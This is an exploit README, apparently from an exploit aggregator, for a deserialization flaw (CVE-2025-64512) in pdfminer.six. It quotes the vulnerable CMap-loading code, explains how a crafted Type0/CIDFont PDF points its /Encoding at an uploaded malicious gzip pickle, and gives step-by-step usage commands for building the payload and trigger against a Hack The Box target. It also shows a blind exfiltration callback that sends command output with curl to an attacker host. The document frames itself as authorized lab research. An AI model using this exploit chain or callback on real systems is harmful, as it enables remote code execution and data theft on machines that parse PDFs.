## https://sploitus.com/exploit?id=360B6584-58F5-5BB6-8027-A1A0132867C6
# CVE-2025-64512 β pdfminer.six `CMapDB` Deserialization PoC
Proof-of-Concept for a deserialization vulnerability in `pdfminer.six`
that leads to arbitrary code execution when parsing a crafted PDF.
> **PURPOSE / LEGAL DISCLAIMER**
> This repository is provided **for educational and authorized security
> research only**. It reproduces a **publicly disclosed, patched CVE**.
> Do **not** use it against systems you do not own or lack written
> permission to test. The author is not responsible for any misuse.
> Intended environment: Hack The Box / VulnHub / local lab.
## Vulnerability
- **CVE:** [CVE-2025-64512](https://nvd.nist.gov/vuln/detail/CVE-2025-64512)
- **Affected:** `pdfminer.six` before `20250506`
- **Patched:** `20250506`
- **Type:** Deserialization of Untrusted Data (CWE-502)
In `cmapdb.py`, `CMapDB._load_data()` reads a CMap file whose name is
derived from a PDF font's `/Encoding` entry and passes the contents to
`pickle.loads()`:
```python
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
```
Three properties combine to make this exploitable:
1. `pickle.loads()` on attacker-controlled data -> arbitrary code execution.
2. Because the filename is **absolute**, `os.path.join()` discards the
search directory and opens the file at that exact path.
3. `.pickle.gz` is appended automatically, so the path is given without
the extension.
## Exploit chain
The exploit needs **two files** uploaded to the vulnerable web app:
1. `payload.pickle.gz` β a gzip-compressed pickle whose `__reduce__`
executes a command and returns a CMap-shaped dict (so parsing continues
cleanly after the payload fires).
2. `trigger.pdf` β a minimal PDF using a **Type0/CIDFont** whose font
`/Encoding` points at the absolute path of the pickle (no extension).
Two PDF-level details matter:
- `CMapDB.get_cmap()` is only reached through a **CIDFont** (a Type0 font
with a `DescendantFonts` entry), not a plain Type1 font.
- A PDF name token begins with a `/` delimiter, so the encoded path must
start with `#2f` to preserve the leading slash of the absolute path.
Internal slashes are also `#2f` because `/` is a name delimiter.
When the target parses the PDF (e.g. a background watcher calling
`pdf2txt.py`), `CMapDB._load_data()` opens the pickle and executes the
command.
## Usage
```bash
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
```
Verified end-to-end against `pdfminer.six 20250416` (vulnerable): running
`pdf2txt.py trigger.pdf` executes the payload command and exits 0.
The payload command is blind; exfiltrate via callback, e.g.:
```bash
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
```
## Files
| File | Purpose |
|---|---|
| `make_payload.py` | Generates the malicious `payload.pickle.gz` |
| `make_trigger_pdf.py` | Generates the `/Encoding` trigger PDF with correct xref offsets |
## References
- CVE-2025-64512 (NVD)
- pdfminer.six changelog / fix commit for `20250506`
- Hack The Box machine **Bedside** (authorized lab reproduction)